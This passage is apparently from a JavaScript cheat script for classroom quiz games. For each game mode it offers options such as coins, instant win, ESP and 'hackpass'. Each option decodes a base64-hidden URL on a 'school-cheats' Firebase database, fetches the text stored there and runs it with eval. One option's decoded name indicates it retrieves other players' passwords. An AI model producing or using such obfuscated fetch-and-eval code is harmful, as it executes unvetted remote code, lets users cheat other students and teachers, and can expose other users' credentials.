  657. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9ja05vVGF4ZXMuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  658. if (kingdomprompt == "setguest")
  659. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9ja1NldEd1ZXN0cy5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  660. if (kingdomprompt == "skip")
  661. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9ja1NraXBHdWVzdC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  662. }
  663.  
  664. if (text == "crypto") {
  665. cryptoprompt = prompt("Which one out of these?", "coins, hackpass")
  666. if (cryptoprompt == "coins")
  667. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9jcnlwdG9HZXRDcnlwdG8uanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  668. if (cryptoprompt == "hackpass")
  669. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9jcnlwdG9HZXRPdGhlcnNQYXNzd29yZHMuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  670. }
  671.  
  672. if (text == "factory") {
  673. factoryprompt = prompt("Which one out of these?", "coins, megabot")
  674. if (factoryprompt == "coins")
  675. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9mYWN0b3J5R2V0Q2FzaC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  676. if (factoryprompt == "megabot")
  677. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9mYWN0b3J5R2V0TWVnYUJvdC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  678. }
  679.  
  680. if (text == "fish") {
  681. fishprompt = prompt("setweight")
  682. if (fishprompt == "setweight")
  683. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9mclNldFdlaWdodC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  684. }
  685.  
  686. if (text == "gold") {
  687. goldprompt = prompt("Which one out of these?", "gold, ESP")
  688. if (goldprompt == "gold")
  689. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nb2xkQ2hlc3RFU1AuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  690. if (goldprompt == "ESP")
  691. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9nb2xkR2V0R29sZC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  692. }
  693.  
  694. if (text == "race") {
  695. raceprompt = prompt("win")
  696. if (raceprompt == "win")
  697. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS9yYWNpbmdJbnN0YW50V2luLmpzb24=')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  698. }
  699.  
  700. if (text == "TD") {
  701. TDprompt = prompt("Which one out of these?", "gameround, clearenem, coins")
  702. if (TDprompt == "gameround")
  703. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS90ZENoYW5nZUdhbWVSb3VuZC5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  704. if (TDprompt == "clearenem")
  705. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS90ZENsZWFyRW5lbWllcy5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  706. if (TDprompt == "coins")
  707. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS90ZEdldENhc2guanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  708.  
  709. }
  710.  
  711. if (text == "doom") {
  712. towerprompt = prompt("Which one?", "coins, lowerstats")
  713. if (towerprompt == "coins")
  714. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS90b2RBZGRDb2lucy5qc29u')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  715. if (towerprompt == "lowerstats")
  716. fetch(atob('aHR0cHM6Ly9zY2hvb2wtY2hlYXRzLTFhNGVlLWRlZmF1bHQtcnRkYi5maXJlYmFzZWlvLmNvbS90b2RMb3dlckFsbEVuZW15U3RhdHMuanNvbg==')).then(res => res.text()).then(t => eval(JSON.parse(t)));
  717.  
  718. }
  719. }